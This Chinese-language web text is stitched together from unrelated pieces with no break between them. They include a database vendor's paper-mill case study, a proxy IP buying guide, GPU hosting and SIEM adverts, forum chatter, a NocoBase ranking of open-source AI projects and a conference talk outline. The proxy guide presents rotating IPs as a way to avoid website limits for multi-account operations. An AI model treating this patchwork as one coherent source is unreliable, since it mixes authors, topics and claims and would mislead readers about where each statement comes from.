2026年3月

项目背景

造纸行业是国内外典型的流程化产业。随着自动化设备的普及,造纸机、复卷机、切纸机、封口机、空压机等设备可按规范流程高效运转,既能保障极高的生产效率,也能稳定产品质量。但与此同时,造纸企业也面临着自动化带来的巨大成本压力与沉重的环保责任:大量设备与人力资源长期低效运行,直接推高了运营成本;低效管理模式又导致企业无法对设备、人员实现实时监控与精准管控,造成严重资源浪费。这些问题已成为制约企业数字化、绿色化转型的关键瓶颈,亟待解决。

江西省芦林纸业股份有限公司在造纸行业拥有几十年的生产研发经验,是一家致力于生产高档包装纸板的国家高新技术企业,拥有年产超 30 万吨牛皮箱板纸的生产能力, 公司生产的箱板纸、茶板纸、纱管纸的产品远销海内外,颇受消费者青睐。

业务挑战

👉1. 数据采集分散且滞后

造纸工厂设备种类繁杂(如 PM 纸机、封口机、光伏电站等),分布于不同区域,能源数据采集点众多,难以统一采集。涉及造纸机转速、纸浆浓度、蒸汽压力等数十种设备传感器数据,以及人工记录的巡检信息,易出现数据遗漏或重复。传统的数据采集方式数据不及时,无法反映实时问题、能耗等状况,难以为生产调整与优化决策提供及时有效的支持。

👉2. 生产数据缺乏整合与分析

生产数据分散在不同的记录表,需额外进行格式转换才能整合分析。系统间数据不共享------例如, MES 中的生产产量数据无法自动同步至 ERP,需人工二次录入,既耗时又易出错。数据标准不一致、历史数据调用困难等问题,导致企业难以全面了解整个生产管理流程的结构,无法精准判断"高能低效"环节,缺乏针对性。

👉3. 可视化程度低,决策困难

生产管理数据缺乏全面清晰的可视化展示,管理者难以快速、清晰地把握能耗趋势和关键信息。多数情况下仅能做到 "事后统计"(如每月产量汇总),无法通过数据预测设备故障、优化原料配比,难以实现预防性维护和成本控制。这使得制定管理策略和生产调度决策时缺乏直观的数据依据,影响决策的科学性和及时性。

👉4. 数据安全与合规要求严格

生产数据涉及工艺参数、客户订单等敏感信息,若缺乏权限管控或备份机制,可能出现数据泄露或丢失,尤其需符合《数据安全法》对工业数据的保护要求。

KaiwuDB 解决方案

工厂通过 5G、WIFI 等网络方式接入 InIoT 物联网平台 生产管理数据,实时采集并上传各类生产数据至数据平台。依托 KaiwuDB 数据库 的多项核心能力,InIoT 物联网平台数据实现了高效实时处理,成功落地实时生产管理监控、超限告警、节能分析等关键功能。借助 KaiwuDB 的技术支撑,企业不仅显著提升了能源利用效率管理精细化水平 ,有效降低能耗成本,更获得了可持续发展的强劲动力。

✅1. 高性能时序能力

KaiwuDB 提供多种高性能的顺序、乱序数据写入能力,包括标准 SQL 写入及导入、超百万行数据秒级写入以及纳秒精度数据写入等。同时,KaiwuDB 针对海量时序数据高速读写需求推出优化设计方案--时序表,以提升海量相似时序数据读写的性能。在时序表中指定不同设备的主键标签,写入数据时自动根据标签对不同设备数据进行分区存储,并创建索引,快速定位指定设备数据,实现高性能的设备数据查询和大量数据聚合,提升数据库处理性能。

✅2. 多模能力

KaiwuDB 透过内核内置一套通用的数据模型,将时序与关系系数据模型融于一体,提供统一的数据接入,支持不同数据模型的融合处理,实现了数据库系统数据模型对应用程序的透明,充分满足了造纸场景下大型复杂系统对多模数据的管理需求。

✅3. AI 预测分析能力

KaiwuDB 提供可插拔的 AI 分析预测引擎,提供从模型导入、模型训练、模型预测、模型评估到模型更新的全生命周期管理能力,通过简单调用 SQL 函数即可进行机器学习相关操作,使得任何具备数据库应用开发背景的应用开发人员都可以使用数十行代码完成模型的导入、训练、预测、评估和更新操作,并完成对数据的深度挖掘实现预测设备故障、优化原料配比等预防性维护和成本控制。

案例价值

💡1. 保障高频数据稳定采集

针对造纸机、烘缸等设备每秒级的转速、温度、纸幅张力等时序数据,网关实现生产管理数据的全天候数据采集 ,具备多串口和一对多数据采集能力,提供多网互备断点续传等功能,确保产线数据全量采集不丢失,数据实时准确。

💡2. 提升设备监控与预警效率

通过毫秒级 写入能力,实时采集造纸机、烘缸、压榨部等关键设备的温度、压力、转速等时序数据,结合异常检测算法,实现设备故障的早期预警,减少非计划停机时间,保障生产连续性

💡3. 降低数据存储与运维成本

相比传统关系型数据库,时序数据库采用列式存储高效压缩算法,在存储相同数据量时占用空间更少,同时支持自动数据降采样和过期策略,减少长期数据存储成本,降低 IT 运维复杂度。

在跨境电商、社媒运营、数据采集以及网络测试等场景中,动态代理IP已经成为很多企业和个人用户的重要工具。不过,当真正准备使用的时候,很多人会遇到这样一个问题:动态代理IP哪家好?应该如何选择?

市面上的代理服务商有很多,价格、质量和稳定性等方面的差异也很大,如果是新手购买,很容易踩坑。本文IPDEEP小编将从几个维度,帮助大家快速判断一个动态代理IP服务商是否值得选择。

动态代理IP哪家好?一篇文章帮你看懂如何选择

一、什么是动态代理IP?

动态代理IP指的是IP地址会自动更换的代理服务。用户在使用代理访问网站时,系统会按照一定规则自动切换IP,这样可以避免长期使用同一IP带来的限制问题。

相比较静态IP,动态IP通常具备如下特点:

IP会定期或按请求更换

IP池规模较大

更适合大规模请求任务

因此,动态代理IP在以下场景中使用非常普遍:

跨境电商多账号管理

海外社媒运营(如TikTok、Instagram等)

数据采集与市场调研

SEO监控与广告验证

二、判断动态代理IP好坏的4个核心指标

1.IP池规模

IP池大小直接决定了代理资源的丰富程度。

如果IP数量太少,频繁使用同一批IP,很容易被目标网站识别并限制访问。一般来说,优质的动态代理服务商通常拥有百万级甚至更大的IP池,覆盖多个国家和地区。

IP池越大,IP轮换效果就越好。

2.地区覆盖能力

对于很多用户来说,IP的国家和地区分布非常重要。

例如:

数据采集需要多地区IP避免限制

社媒运营可能需要特定国家IP

做跨境电商可能需要美国、英国、日本等IP

因此,一个优质的动态代理IP服务商通常会提供:

城市级定位

灵活的IP切换方式

全球多个国家IP

3.IP质量与纯净度

IP质量是影响使用体验的核心因素。

一些廉价代理服务商的IP可能已经被大量用户使用过,甚至被很多网站列入黑名单,这种IP基本无法正常使用。

好的动态代理IP通常具有以下特点:

IP来源真实

被封禁概率低

使用记录干净

可稳定访问目标网站

4.网络稳定性

代理IP并不仅仅是“能连接就行”。如果连接不稳定,会影响任务效率。

常见问题包括:

延迟过大

频繁掉线

连接失败率高

稳定的代理网络通常会提供:

多节点服务器

高并发支持

自动IP轮换机制

这些都会直接影响到实际的使用体验。

三、动态代理IP哪家好?选择时要注意这些问题

在选择代理IP服务商时,建议重点关注以下几点:

1.是否支持免费测试

很多靠谱的代理服务商都会提供试用,这样可以先测试IP质量。

2.客服和技术支持

代理IP在使用过程中难免会遇到问题,是否有及时的技术支持也很关键。

3.价​格是否透明

一些代理服务商价格看似便宜,但会存在带宽限制或隐藏费用,需要提前了解清楚。

4.是否支持API或软件接入

如果需要大规模使用,API接口非常重要,可以方便程序自动调用代理IP。

四、总结

其实并不存在绝对最好的代理服务商,关键还是要根据自己的使用场景进行选择。一般来说,一个优质的动态代理IP服务商应该具备以下特点:

1.IP池规模大、

2.IP质量高

3.网络稳定

4.支持全球多地区IP

5.提供良好的技术支持

在正式购买之前,建议先进行测试,对于同服务商的实际效果,再做最终决定。

明天就要练习赛了,今年的新规让观赏性提升不少,好期待。
断断续续看了快 20 年了,依然还是怀念 V10 引擎那个年代的声浪~

现在IDC圈里聊到高性能计算,昇腾910b和NVIDIA A100这两款GPU绝对是绕不开的话题。特别是随着大模型训练、科学计算这类业务越来越普及,企业对高性能算力的需求已经不再是“有就行”,而是要求稳定、高效、可扩展。先说说A100,这是NVIDIA在数据中心级GPU里的旗舰产品,单卡FP16算力接近312 TFLOPS,配合40GB/80GB HBM2e显存和多卡NVLink互联,特别适合千亿参数级别的模型训练和推理。而昇腾910b作为国产高端AI芯片的代表,算力也达到了320 TFLOPS(FP16),在不少自然语言处理和视觉类任务中表现非常扎实,尤其适合有国产化要求的企业。
图片
这类高性能GPU在IDC托管和租用业务中为什么越来越重要?因为很多企业发现,自建GPU集群不仅投入大,运维也很复杂——比如A100对供电、散热和网络的要求都比普通服务器高得多。而在极云科技这样的专业IDC环境里,我们为A100和910b部署了专用机柜,配备2N冗余供电和液冷散热系统,网络上也采用100G RoCE架构,确保多卡并行计算时不会出现通信瓶颈。能耗也是企业非常关心的一点。A100和910b虽然性能强,但能效比控制得不错。A100支持MIG技术,可以把一张物理卡拆分成多个实例给不同用户使用;910b也具备类似的弹性调度能力。在极云科技托管的GPU服务器,我们还会根据负载动态调节功率,帮企业把电费控制在合理范围。对于预算有限或者业务有波动的企业,租用搭载A100或910b的服务器是个务实的选择。你既不用一次性投入几百万元买设备,也不用操心运维细节,按需租用、灵活计费,特别适合项目制或短期高负载任务。极云科技提供的GPU租用服务支持月付、年付甚至按小时计费,配置从单卡到8卡一体机都有,企业可以根据训练任务灵活选择。当然,高性能也意味着高成本。A100和910b都不便宜,企业在选型时要根据业务类型、软件生态和预算综合判断——比如是否需要CUDA生态、是否要求国产化、模型规模有多大。不确定的话,极云科技也支持测试机申请,你可以先跑一下自己的业务负载,再决定用哪款卡。总的来说,910b和A100代表了当前AI算力的两个重要方向。把它们部署在专业的IDC环境中,不仅能发挥出最大性能,还能帮企业省去硬件管理和运维的麻烦。如果你正在规划GPU算力架构,欢迎来极云科技看看。我们从硬件选型、机房部署到运维支持,都能提供符合企业实际需求的A100与910b服务器解决方案。

以前偶然了解到整数型 IP,只是觉得好玩,没有想到什么用处,到后面有一次做 IPwhois 的时候才用到。

我们知道 ipv4 是 32 位 2 进制,A.B.C.D 是为了给人类看的,点分十进制表示法。
IPv4address = dec-octet "." dec-octet "." dec-octet "." dec-octet
见: https://www.rfc-editor.org/rfc/rfc3986

IPwhois 需要知道某个 IP 是否属于某个范围,比如 192.168.1.10 是不是在 192.168.1-255 里面,我不可能拿 string 去比对,换成十进制就好多了,只需要比对数值的大小就知道是不是在范围内。

IP 整数 =
a × 256³ +
b × 256² +
c × 256¹ +
d
image
转换为整数 IP

image
整数 IP 自动转换

试了 codex 很难受,一直问我确认吗,不理解我的需求。我主要拿来写代码,cc 的 sonnet 都能理解我的意思,完善代码,可惜最近限制的太厉害了,大佬们正价买的吗,中转的也很拉,下午给折腾很久用不了。

外包 IT 公司,IT 人力资源外包,通过外包的方式雇佣 IT 工程师(后端工程师,数据工程师等),因为是外国公司,工作语言是英语,需要外包的 IT 工程师可以使用英语作为工作语言。

抱歉我发的帖子太潦草了,特此补充。

原文链接:https://www.nocobase.com/cn/blog/best-open-source-ai-projects-github-2026

最近几个月,OpenClaw 彻底引爆了 AI 圈,媒体、社区与开发者论坛内讨论不断,掀起了一股全民“养龙虾”热潮。在 GitHub 的 AI 热门榜单上,它的 Star 数更是一路狂飙,直接登顶。

open claw star.PNG


💬 嗨!你正在阅读 NocoBase 博客。NocoBase 是一个极易扩展的 AI 无代码/低代码开发平台,用于构建企业应用、内部工具和各类系统。它完全支持自托管,基于插件架构设计,开发者友好。→ 欢迎在 GitHub 上了解我们


有媒体直接把 OpenClaw 写成 “The Rise of a New King on GitHub”。如果只把它理解成一次单纯的项目爆红,可能还是低估了这波热度背后的变化。从 OpenClaw 开始,2026 年开源 AI 关注重点也在明显转移。

去年,我们也盘点过 GitHub 上最受关注的 20 个开源 AI 项目,当时榜单里热门项目的核心仍然是模型能力、聊天界面以及开源路线是否能逼近闭源产品体验。但今年榜单里的项目已经发生了翻天覆地的变化。开源 AI 的关注重点已经在进一步转向智能执行、流程编排、多模态生成等更贴近实际应用的方向。

基于这个变化,我们重新盘点了 2026 年 GitHub 上 Star 最高的 20 个开源 AI 项目,并做了简单分类。从中选出部分代表性项目,介绍它们各自的核心能力、功能特点,以及各自在 AI 方向上的独特价值。

2026 年最值得关注的 20 个开源 AI 项目

以下项目按 GitHub Star 数排序

排名项目名称Star核心关键词适用人群一句话定位GitHub 链接
1OpenClaw302k智能执行个人面向个人场景的开源 AI 助手,强调跨平台执行任务openclaw/openclaw
2AutoGPT182k智能执行开发者经典的自主智能体项目,强调任务拆解与自主执行Significant-Gravitas/AutoGPT
3n8n179k流程编排企业支持原生 AI 能力的工作流自动化平台n8n-io/n8n
4Stable Diffusion WebUI162k多模态生成创作者面向 Stable Diffusion 的经典网页交互界面AUTOMATIC1111/stable-diffusion-webui
5prompts.chat151k提示词资源个人开源提示词社区与提示词收藏平台f/prompts.chat
6Dify132k流程编排企业面向智能体工作流的生产级 AI 应用开发平台langgenius/dify
7System Prompts and Models of AI Tools130k研究资料开发者汇总多种 AI 工具系统提示词、内部工具与模型信息的资料仓库x1xhlol/system-prompts-and-models-of-ai-tools
8LangChain129k流程编排开发者面向大模型应用与智能体开发的编排框架langchain-ai/langchain
9Open WebUI127k应用入口个人面向 Ollama、OpenAI API 等模型的 AI 交互界面open-webui/open-webui
10Generative AI for Beginners108k学习资源开发者面向生成式 AI 初学者的系统课程仓库microsoft/generative-ai-for-beginners
11ComfyUI106k多模态生成创作者基于节点工作流的图像生成界面与后端Comfy-Org/ComfyUI
12Supabase98.9k数据与上下文企业支持 Web、移动与 AI 应用的数据平台supabase/supabase
13Gemini CLI97.2k智能执行开发者将 Gemini 能力带入终端场景的开源 AI 智能体google-gemini/gemini-cli
14Firecrawl91k数据与上下文开发者将网站转成可供大模型直接使用数据的网页数据接口firecrawl/firecrawl
15LLMs from Scratch87.7k学习资源开发者从零实现类 ChatGPT 大模型的教学项目rasbt/LLMs-from-scratch
16awesome-mcp-servers82.7k工具连接开发者收录 MCP Server 的开源项目清单punkpeye/awesome-mcp-servers
17Deep-Live-Cam80k多模态生成创作者支持实时换脸与视频生成的开源工具hacksider/Deep-Live-Cam
18Netdata78kAI 运维企业引入 AI 能力的全栈可观测平台netdata/netdata
19Spec Kit75.7kAI 工程开发者面向规范驱动开发的工具包github/spec-kit
20RAGFlow74.7k数据与上下文企业融合 RAG 与智能体能力的上下文引擎infiniflow/ragflow

从表格里也能看出,这些项目并不完全是同一种类型。像学习资源、提示词资源和研究资料这类项目,更适合作为补充参考;如果要看今年开源 AI 的核心热点,还是要回到更有代表性的产品和工具上。所以下面我们会围绕四个方向继续展开介绍:智能执行、流程编排、数据与上下文,以及多模态生成。

智能执行

OpenClaw

OpenClaw1.PNG

相信大家对 OpenClaw 已经很熟悉了,我们这里还是再简单介绍一下。

OpenClaw 是一个面向个人场景的开源 AI 助手,核心定位是把 AI 接进用户已经在使用的沟通环境里,不用再单独做一个新的入口。它本身也是一个自托管网关,强调运行在自己的设备和规则之下,更贴近开发者和高频个人用户的使用习惯。

核心能力

把 AI 助手放进现有消息渠道和设备环境里

OpenClaw 可以接入 WhatsApp、Telegram、Discord、iMessage、Feishu 等多个渠道,在同一个 Gateway 下处理消息、会话和路由。同时,它支持语音唤醒、持续语音、Live Canvas,以及 iOS、Android、macOS 等多端节点能力,让 AI 不只是停留在聊天框里,而是可以跟消息、设备和交互界面一起工作。

OpenClaw2.png

具备持续在线和可继续扩展的结构

OpenClaw 可以在本地机器或服务器上运行一个 Gateway 进程,再通过各类消息渠道持续接收和响应请求。除此之外,它还支持插件扩展,除了默认能力之外,也可以通过扩展包继续接入 Mattermost 等更多渠道和功能。

OpenClaw3.png

AutoGPT

AutoGPT1.png

AutoGPT 是一个围绕 AI 智能体构建的开源项目,核心定位不只是提供一个可直接使用的助手,而是进一步把智能体的创建、部署和运行组织成一套更完整的平台能力。相比更偏单点使用的产品,它更强调把智能体从实验性体验推进到可持续运行和可继续扩展的形态。

核心能力

围绕智能体的创建、部署和运行提供更完整的平台结构

AutoGPT 关注的重点是把构建、部署、管理和运行这些环节放到同一套体系里处理。它已经不只是一个早期 autonomous agent 项目,而是在往更完整的智能体平台方向延伸。

AutoGPT2.png

持续运行和长期任务承接

AutoGPT 支持持续运行的智能体形态,也延伸出了平台、市场和能力模块等配套内容,更适合承接自动化任务和长期工作场景。和更偏个人助手的产品相比,它更接近开发者和平台使用场景,也更偏向企业和构建侧。

Gemini CLI

Gemini CLI1.png

Gemini CLI 是 Google 推出的开源 AI 智能体工具,核心形态是把 Gemini 的能力直接带到终端里使用。相比更偏聊天入口的产品,它更贴近开发者日常工作环境,重点放在本地项目上下文、命令行操作和连续任务处理这些更真实的开发场景里。

核心能力

把 AI 直接带进终端和本地项目环境

Gemini CLI 可以直接在终端中调用 Gemini,处理代码理解、任务自动化和工作流构建等需求。同时,它也能结合本地项目上下文使用,让 AI 不只是回答问题,而是围绕代码、命令和文件持续参与具体任务。

Gemini CLI2.png

适合放进连续的开发流程里使用

采用 reason-and-act 的方式工作,支持结合内置工具以及本地或远程 MCP Server 来完成更复杂的任务,也支持自定义 slash commands。

流程编排

n8n

n8n1.png

n8n 是一个工作流自动化平台,把可视化编排、代码扩展和 AI 能力放在同一套工作流体系里。相比只做单点智能体或单一模型接入的工具,它更适合把模型、数据源、外部工具和业务流程连接起来,形成可以持续运行的自动化链路。

核心能力

把 AI 能力接进完整工作流里

n8n 支持用可视化画布搭建工作流,同时保留代码扩展能力,既能满足快速搭建,也能支持更深的定制。它可以连接数据源、AI 模型和外部工具,把业务流程自动化和 AI 工作流放到同一个系统里处理。

n8n2.png

AI 真正成为流程系统的一部分

n8n 已经提供 AI Agent、AI Workflow Builder、Chat Hub 等能力,不只是把模型接进流程里,还能继续把多步骤任务、工具调用和交互入口组织成更完整的自动化体系。它更接近团队和业务场景,也更适合让 AI 真正成为流程系统里的一部分。

Dify

Dify1.png

Dify 是一个面向大模型应用开发的开源平台,把 AI 工作流、RAG、智能体能力、模型管理和应用观测放在同一套产品体系里。相比更偏自动化工具的产品,它更贴近 AI 应用本身的搭建过程,重点放在从原型到生产环境这一整条链路上。

核心能力

可视化 AI 工作流搭建

Dify 提供可视化工作流画布,可以直接搭建和测试 AI 工作流,也支持接入大量闭源和开源模型,以及兼容 OpenAI API 的模型服务。对开发者和团队来说,这意味着很多 AI 应用不需要从底层反复拼装,就可以先把整体链路跑起来。

Dify2.png

模型、RAG 与应用观测的一体化能力

Dify 内置了完整的 RAG 能力、智能体工具能力和应用日志分析能力,不只是帮助把应用快速搭起来,也方便继续做调试、优化和上线后的维护。它更像是把 AI 应用开发和后续运营放到一个统一平台里处理,而不是拆成多套工具分别完成。

LangChain

LangChain1.png

LangChain 是一个面向大模型应用和智能体开发的开源框架,核心方向是把模型、工具、上下文和外部集成连接起来。相比更偏可视化工作流的平台,它更接近开发框架本身,适合用来搭建可控性更高、可定制程度更深的 AI 应用。

核心能力

组件化链路组织能力

LangChain 提供了大量可复用组件和第三方集成能力,方便把模型、工具、记忆和外部服务串成一条完整链路。对开发者来说,这种组件化方式最大的价值在于,不需要从零开始搭每一个环节,可以更快地把应用结构组织起来。

LangChain2.png

面向复杂智能体的编排基础

LangChain 可以快速搭建智能体,也能和 LangGraph 配合,继续往长流程、状态化和可控编排的方向延伸。再加上 LangSmith、Deep Agents 等配套模块,它已经逐渐成为一套围绕 AI 应用和智能体系统展开的基础骨架。

数据与上下文

RAGFlow

RAGFlow1.png

RAGFlow 是一个开源 RAG 引擎,核心方向是为大模型提供更可靠的上下文层,专注于把文档解析、数据清洗、检索增强和 Agent 能力放在同一套体系里。

核心能力

文档解析与数据预处理能力

RAGFlow 提供了内置的数据摄取和处理能力,可以清洗、解析多种格式的数据,并把它们整理成更适合检索和调用的语义表示。对于文档类型复杂、数据来源分散的场景来说,这一步其实很关键,因为上下文质量往往就决定了后面的回答质量。

RAGFlow2.png

围绕上下文构建完整的 RAG 链路

RAGFlow 支持基于文档理解的 RAG 能力,能够围绕复杂格式数据建立更可靠的问答和引用链路。同时,它也具备 Agent 平台和可编排的数据流能力,已经加入了工作流画布、Agent 节点和相关 API,更适合继续往企业级知识处理和复杂应用场景延伸。

RAGFlow3.png

Firecrawl

Firecrawl1.png

Firecrawl 是一个面向 AI 的网页数据接口,核心能力是把网站内容抓取、爬取并转换成适合大模型使用的结构化数据或 Markdown。相比传统爬虫工具,它更直接服务于 AI 应用和智能体场景,重点不在“把网页抓下来”,而在于把网页变成模型可用的上下文。

核心能力

网页抓取与结构化提取能力

Firecrawl 支持抓取、爬取、提取和搜索网站内容,并输出 Markdown、JSON、链接、截图、HTML 等多种格式。对 AI 应用来说,这一步的价值不只是拿到网页内容,而是能直接得到更适合模型处理的数据形态。

Firecrawl2.png

面向大模型应用的数据接入能力

Firecrawl 可以把整站内容整理成适合大模型调用的数据,也已经提供了 MCP Server、SDK 和示例项目,方便继续接入 Cursor、Claude 以及更多开发环境。它更适合那些需要接入外部网站信息、构建实时知识来源或增强检索能力的应用。

Supabase

Supabase1.png

Supabase 是一个基于 Postgres 的开发平台,把数据库、认证、即时 API、Edge Functions、存储和向量能力放在同一套体系里。放在这篇文章里,它更值得关注的地方不只是“后端平台”这个身份,而是已经把向量、嵌入和 AI 应用需要的数据能力直接纳入了产品主线。

核心能力

一体化的数据与应用底座

Supabase 提供完整的 Postgres 数据库、认证、API、实时能力、Edge Functions 和存储服务,适合直接作为 Web、移动和 AI 应用的底座。对很多团队来说,这意味着数据、权限和应用后端可以放在同一套平台里管理,不需要再额外拆出很多基础设施。

Supabase2.png

内置向量检索与向量嵌入管理能力

Supabase 已经把 AI 与向量能力直接做进平台里,支持用 Postgres 和 pgvector 存储、索引和查询 embeddings,也支持语义搜索、关键词搜索和混合搜索。同时,它还能结合 Edge Functions、队列、触发器和扩展机制处理向量嵌入的自动生成、更新和重试,更适合承接持续增长的上下文数据和检索需求。

多模态生成

Stable Diffusion WebUI

Stable Diffusion WebUI1.png

Stable Diffusion WebUI 是一个基于 Gradio 实现的 Stable Diffusion 网页界面,把本地部署、参数控制和图像生成放到同一个交互入口里。相比更偏节点工作流的工具,它更接近经典的图像生成控制台,适合直接围绕文生图、图生图和模型参数做细致操作。

核心能力

图像生成与编辑能力

Stable Diffusion WebUI 支持文生图和图生图两种核心生成模式,也覆盖局部重绘、画面外扩和图像放大等常见图像生成与编辑能力。对于希望直接围绕提示词、参考图和修图流程做操作的用户来说,这类能力已经足够支撑大部分常见场景。

Stable Diffusion WebUI2v.png

参数控制和本地扩展

Stable Diffusion WebUI 提供了比较细的参数控制能力,包括采样方法、提示词权重、批量生成、参数回读和多维度参数对比。同时,它也具备相对成熟的本地运行和扩展基础,支持向量嵌入、文本反演等能力,也能结合扩展生态继续丰富功能。

ComfyUI

ComfyUI1.png

ComfyUI 是一个面向视觉 AI 的可视化工作流工具,核心形态是基于节点和流程图来设计、执行复杂的 Stable Diffusion 流程。相比更像传统控制台式界面的 Stable Diffusion WebUI,它更强调模块化组合、流程复用和复杂生成链路的搭建。

核心能力

基于节点的生成流程编排能力

ComfyUI 支持通过节点、图和流程图界面来搭建复杂的 Stable Diffusion 工作流,很多实验和组合不需要写代码就可以完成。对需要频繁调整提示词、模型、控制条件和生成步骤的用户来说,这种方式会比单次参数调节更灵活。

ComfyUI2.png

更适合复用和扩展复杂生成任务

ComfyUI 支持多种图像模型和生成能力,也已经把视频、图像、3D、音频等场景纳入了产品能力范围。同时,它还提供示例工作流、桌面应用和完整文档,方便把生成流程保存、复用,并继续扩展成更复杂的任务链路。

Deep-Live-Cam

Deep-Live-Cam1.png

Deep-Live-Cam 是一个面向实时视频处理的开源项目,核心能力是实时换脸和一键式视频处理。相比更偏图像生成或流程编排的多模态工具,它更直接把生成式能力放进摄像头、直播和视频内容处理链路里,重点就在“实时可用”这件事上。

核心能力

实时视频生成人脸替换能力

Deep-Live-Cam 支持实时换脸,也支持一键式视频处理,重点放在视频和直播场景下的即时效果。它可以直接把生成能力作用在视频流上,而不是停留在静态图片生成或后期编辑阶段。

Deep-Live-Cam2.png

摄像头接入与本地运行能力

Deep-Live-Cam 可以直接结合摄像头输入使用,也支持对现有视频内容进行处理。同时,它提供了本地部署方式,并围绕 GPU、推理依赖和运行环境给出了较完整的安装说明,方便把这类能力直接跑在自己的设备环境里。

Deep-Live-Cam3.png

结语

如果说 OpenClaw 让更多人看到了 AI 在个人场景下的执行能力,那么过去几个月的市场变化也说明,这类能力已经不再停留在个人工具层面。

无论是地方围绕 OpenClaw 推动产业生态,还是厂商快速基于它做产品化封装,比如 Kimi Claw、MaxClaw、QClaw 等,热门 AI 工具一旦走向更复杂的应用环境,最终都会继续往企业和行业场景延伸。而企业需要的,不只是一个会对话、会调用工具的智能体,而是一套能接入数据、嵌入流程、限制权限、支持协作的系统环境。

如果你想了解 AI 如何真正进入业务系统、参与真实业务流程,也可以前往 NocoBase 官网进一步了解我们在 AI 员工能力和业务系统搭建上的相关实践。

相关阅读:

忽然发现我的铜币带小数点了.

我现在有 0.28 的铜币.

查看了一下记录,是别人回复帖子获得的.

玩了几年 v 站第一次见有小数点的铜币

企业在挑选安全信息和事件管理(SIEM)解决方案时,往往将焦点放在功能数量、合规标准覆盖度及部署方式上,却容易忽视一个核心关键——日志的快速搜索与分析能力。 不少企业误以为功能越全的SIEM越实用,却忽略了核心价值落地的前提:若无法在海量日志中快速定位关键信息,即便功能再丰富,其安全防护价值也会大幅缩水,难以支撑企业应对实时安全威胁。

一、SIEM选型的常见误区

在SIEM实际选型过程中,很多企业陷入认知误区,最终导致系统部署后运维成本持续攀升,安全效能却不达预期。

只关注产品是否支持多源日志收集,认为能汇总日志即是满足需求,完全忽略日志查询与分析的核心性能; 过度依赖硬件堆叠提升运行效率,不仅推高硬件投入成本,还无法从根本上解决性能瓶颈; 使用多工具拼接,既增加了系统管理复杂度,又容易出现数据孤岛,后续维护难度与成本同步增加。

二、日志搜索能力为何是 SIEM 的核心

事实上,日志搜索能力才是SIEM的核心竞争力。 SIEM的核心任务围绕安全事件调查、异常行为分析、合规审计支持及事后取证分析展开,而这四大场景的落地,都离不开快速、稳定的日志搜索能力作为支撑。在安全事件突发时,若日志搜索响应时间过长,安全团队无法及时锁定攻击源头、追溯攻击路径,就会错失最佳处置时机。

三、评估 SIEM 日志搜索能力的三个技术点

企业评估SIEM日志搜索能力,可聚焦三大核心技术点,精准判断产品适配性。 首先,看是否支持结构化日志存储。结构化存储能对日志数据进行规范化解析与分类,大幅提升查询效率,避免全量日志扫描带来的性能损耗,这是SIEM适配大规模日志环境的基础条件。 其次,核查是否具备成熟的索引机制。索引直接决定系统在日志量持续增长后的性能稳定性,缺乏完善索引机制的SIEM,会随日志积累出现响应变慢、卡顿等问题,性能随时间推移明显下滑。 最后,关注搜索引擎是否针对安全场景定制设计。只有贴合安全运维实际需求的搜索引擎,才能高效支持多条件组合查询、精准时间范围检索等复杂操作,适配安全事件溯源与合规审计的多样化需求。

四、EventLog Analyzer 在 SIEM 选型中的优势

EventLog Analyzer在SIEM选型中,采用ES(elastic search)技术,轻松应对海量日志的检索。凭借成为企业的优选方案。
图片
(1)日志写入时即完成自动解析与索引构建,无需额外人工干预,从源头保障搜索效率; 
(2)支持大规模日志长期安全留存,满足合规日志留存要求的同时,确保存量日志检索性能稳定; 
(3)其搜索性能不依赖高端硬件,在普通服务器环境下,即可实现千万级日志的秒级搜索响应,大幅降低企业硬件投入成本。 
曾在EventLog Analyzer中做过这样一个有趣的实验: 如果不考虑硬件因素,对1千万规模日志执行搜索需要多长时间得到结果 ? 
测试环境配置如下:
•操作系统:Windows Server 2012 R2 Standard
 •处理器:Intel Core 系列
 •内存:16 GB
 •CPU:4 核 该环境为常规服务器配置,并非高性能硬件。在实际测试环境中,对 1000 万条日志数据进行搜索,查询耗时约 2 秒。

(4)EventLog Analyzer兼顾安全运营与合规审计双重场景,既能快速支撑安全团队开展事件调查、异常检测等工作,提升安全响应效率,又能通过高效日志检索能力,快速生成符合各类合规标准的审计报告,减少合规工作人力投入。

五、总结

SIEM绝非简单的功能堆叠集合,而是企业长期运行的核心安全基础设施,其投入回报与实际可用性,均由日志搜索能力直接决定。对于日志规模随业务发展持续增长的企业而言,选择具备成熟搜索技术的SIEM解决方案,既能有效控制硬件、运维等综合成本,又能提升安全响应效率,让安全投入真正转化为防护效能。

EventLog Analyzer以日志搜索性能为核心抓手,帮助企业在不增加系统复杂度、不提升硬件成本的前提下,构建稳定、高效的日志管理与SIEM能力,为企业数字化转型筑牢安全防线。

从「AI For What」到「Value From AI」,100+可落地实践案例打通 AI 实战最后一公里!

4 月 16 日-4 月 18 日,QCon 全球软件开发大会将在北京举办。本届大会锚定 Agentic AI 时代的软件工程重塑,聚焦 Agentic AI、多智能体协作、算力优化、技术债治理、多模态和 AI 原生基础设施等前沿话题,邀请来自腾讯、阿里、百度、华为、蚂蚁、小米、网易等企业技术专家,带来百余项真实落地案例,系统性分享前沿洞察与实战干货,以技术共创探索 AI 落地新路径。

阿里巴巴淘宝闪购资深算法专家桑梓森已确认出席 “Agentic Engineering” 专题,并发表题为大模型驱动下的生成式搜推:淘宝闪购全链路重构实践的主题分享。淘宝闪购业务规模快速增长,对搜索推荐系统的效率与精准度提出了更高要求。传统搜推算法在特征工程、用户理解和商品表征上已逐步触及天花板。本次分享聚焦大模型时代下闪购搜推系统的技术演进,结合真实业务场景,分享关键技术选型的决策过程、落地中的踩坑经验与效果数据。

桑梓森,淘宝闪购搜推排序团队负责人,主导淘宝闪购搜索/推荐系统算法优化与系统演进,专注于即时零售场景下的多目标优化、个性化推荐以及 LLM&生成式相关技术在搜推场景的落地。他在本次会议的详细演讲内容如下:

演讲提纲

  1. 开场:闪购业务背景与搜推挑战

  • 闪购业务特点、传统搜推瓶颈

2. 大模型 LLM/VLM 多模态在搜推全链路落地

  • Query 理解与改写

  • 商品理解与表征

  • 召回与排序中的大模型特征注入

  • 用户冷启动

3. 算力 Scaling Up 策略

  • 模型维度的 Scaling

  • 训练与推理优化

  • 算力 ROI 度量 torch 训推迭代

4. 生成式搜推新范式探索

  • HSTU 类在搜推探索落地

  • RQ-VAE 生成式召回

  • G-E 生成式重混排落地

5. 面向 AI 搜推的核心链路升级改造

6. 总结与展望

这样的技术在实践过程中有哪些痛点?

  1. 搜推传统模型与大模型的对齐;

  2. 生成式范式落地中的坑点、工程以及算法之间的协同优化;

  3. AI 时代搜索的变化及解法。

演讲亮点

